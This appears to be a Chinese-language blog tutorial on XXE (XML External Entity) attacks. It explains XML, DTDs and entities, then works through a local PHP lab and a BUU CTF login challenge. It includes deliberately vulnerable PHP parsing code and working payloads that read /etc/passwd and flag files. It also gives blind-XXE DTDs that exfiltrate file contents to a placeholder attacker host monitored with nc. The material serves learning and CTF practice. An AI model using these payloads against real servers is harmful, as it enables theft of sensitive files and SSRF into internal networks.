XXE漏洞的学习
XXE:XML External Entity
即外部实体,从安全角度理解成 XML External Entity attack 外部实体注入攻击(那为啥不叫XEE)。对于 XXE 想要真正的了解它,就需要先来了解一下XML是什么。
XML基础知识
XML是可扩展标记语言
(eXtensible Markup Language)的缩写,它是是一种数据表示格式,可以描述非常复杂的数据结构,常用于传输和存储数据。
语法结构
与 HTML
大致相同,HTML
旨在显示数据信息,而 XML
旨在传输数据信息。(说到传输数据自然而然肯定会想到json
格式,相比XML
,现在用的更多是json
格式来传输数据)
<?xml version="1.0" encoding="utf-8"?>
<note>
<to>seizer</to>
<from>ggbond</from>xml
</note>
在上面代码中的第一行,定义XML的版本与编码。
在XML文档中,所有的元素都必须正确的嵌套,形成树形结构。并且整个XML文档中必须要有一个根元素。如上代码,<note>
是整个文档的根元素。嵌套在note标签中的<to>
和<from>
则是根的子元素。
同时,所有的XML元素都必须有关闭标签,这点不像HTML语法那样松散。如果缺失关闭标签,则会导致XML解析失败。
实体
所有的XML文档都由五种简单的构建模块(元素,属性,实体,PCDATA 和 CDATA)构成。这里着重介绍一下实体:实体是用于定义引用普通文本或特殊字符的快捷方式的变量,实体引用是对实体的引用。实体可在内部或外部进行声明。因此我们利用引入实体,构造恶意内容,从而达到攻击的目的。
网上的文章中对实体的种类个数各有不同,大致为以下几种:
内部实体 外部实体 字符实体 命名实体 参数实体
文档类型定义: DTD
XML的语言规范是由DTD(Document Type Definition)来控制,类似编程语言的语法,它定义了XML文档的合法构建模块,即声明了XML的内容格式规范。
DTD 的声明方式分为两种:内部 DTD 和外部 DTD ,其区别就在于:对 XML 文档中的元素、属性和实体的 DTD 的声明是在 XML 文档内部引用还是引用外部的 dtd 文件。
内部引用
格式:
将DTD和XML放在同一份文档中,利用DTD定义的实体即为内部实体。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY chybeta "Hello World!">
]>
<xxe>
&chybeta;
</xxe>
访问该XML文档,&chybeta;会被解析为Hello World!并输出。
外部引用
通过引用定义在外部的DTD中的实体,我们称之为外部实体。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///c://123.txt">]>
<root>&file;</root>
XML 注入
demo:
# 注入前XML代码
<?xml version="1.0" encoding="UTF-8">
<USER role="admin">用户输入位置</USER>
当用户输入一些恶意代码,比如User1</USER><USER role="admin">User2
,原XML代码就变成了下面的样子:
# 注入后XML代码
<?xml version="1.0" encoding="UTF-8">
<USER role="admin">User1</USER>
<USER role="admin">User2</USER>
对于普通的XML注入
,利用面比较狭窄,所及几乎永不i到,如果有的话也应该是逻辑漏洞,下面重点介绍XXE
的利用!
XXE漏洞的利用
实验环境:
windows11 + phpStudy + apache + php
PHP Version: 5.2.17
libxml Version: 2.7.7
有回显读本地敏感文件(Normal XXE)
xxe.php
<?php
libxml_disable_entity_loader (false);
ini_set('display_errors','on');
$xmlfile = file_get_contents('php://input');
$info = simplexml_load_string($xmlfile);
// $dom = new DOMDocument();
// $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// $info = simplexml_import_dom($dom);
print_r((string)$info);
?>
flag.txt
Congratulations to you!
demo.xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "flag.txt">
]>
<foo>&xxe;</foo>
如果 flag.txt
中包含特殊符号,比如<>&'
等,例如
<XXE Congratulations to you!>
可以看到当被读取文件中含有特殊符号时,返回了一堆错误,这个时候我们可以使用CDATA
(还可以使用 php://filter
进行 base64 编码进行读取)
什么是CDATA:
CDATA,意为character data,是标记语言SGML与XML,表示文档的特定部分是普通的字符数据,而不是非字符数据或有特定、限定结构的字符数据。在XML文档或外部实体中,一个CDATA section是一段按字面解释的内容,不作为标记文本。字符用CDATA节表示或者按照标准语法表示,并无差异。
CDATA 部分由
"<![CDATA["
开始,由"]]>"
结束
修改 demo.xml 为:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY % start "<![CDATA[">
<!ENTITY % xxe SYSTEM "flag.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "demo.dtd"> %dtd;]>
<foo>&all;</foo>
本地添加: demo.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%xxe;%end;">
利用带有CDATA的Payload,可以看到特殊符号被成功绕过。
但是在真实情况下,服务器上的XML一般用于配置文件或者传输数据,而不是显示数据,因此在现实环境下利用这个漏洞就需要找到不依靠回显的方法。
无回显读取本地敏感文件(Blind XXE)
Payload1
靶机文件:xxe_blind.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
本地 payload:demo.xml
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/demo.dtd">
%remote;%int;%send;
]>
本地文件:demo.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:port?p=%file;'>">
在可访问的 ip
地址即端口
上使用 nc
进行监听,从而形成攻击
Payload2
demo.xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://ip/xxe.xml">
%dtd; %all;
]>
<value>&send;</value>
xxe.xml
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ip:port/%file;'>">
整个的调用过程如下:解析时%dtd
引入xxe.xml,之后%all
引入send
的定义,最后引用了实体send,把%file
文件内容通过一个http请求发了出去。注意需要把payload经过url编码。
思考
我们刚刚都只是做了一件事,那就是通过 file 协议读取本地文件,或者是通过 http 协议发出请求,熟悉 SSRF 的童鞋应该很快反应过来,这其实非常类似于 SSRF ,因为他们都能从服务器向另一台服务器发起请求,那么我们如果将远程服务器的地址换成某个内网的地址,(比如 192.168.0.10:8080)是不是也能实现 SSRF 同样的效果呢?没错,XXE 其实也是一种 SSRF 的攻击手法,因为 SSRF 其实只是一种攻击模式,利用这种攻击模式我们能使用很多的协议以及漏洞进行攻击。
所以要想更进一步的利用我们不能将眼光局限于 file 协议,我们必须清楚地知道在何种平台,我们能用何种协议:
BUU XXE COURSE 1
进入页面后是一个 Login 登录页面,随便填试一下
发现 login.php ,并且发现了 xml 注入点
<?xml version="1.0" encoding="UTF-8"?>
<root>
<username>asd</username>
<password>asd</password>
</root>
回显为username
标签,为有回显XXE
构造payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///flag">]>
<root>
<username>&xxe;</username>
<password>asd</password>
</root>
注入后获得 flag
PS:该文章只记录了 XXE 的入门学习,深入学习请圆详读下面参考文章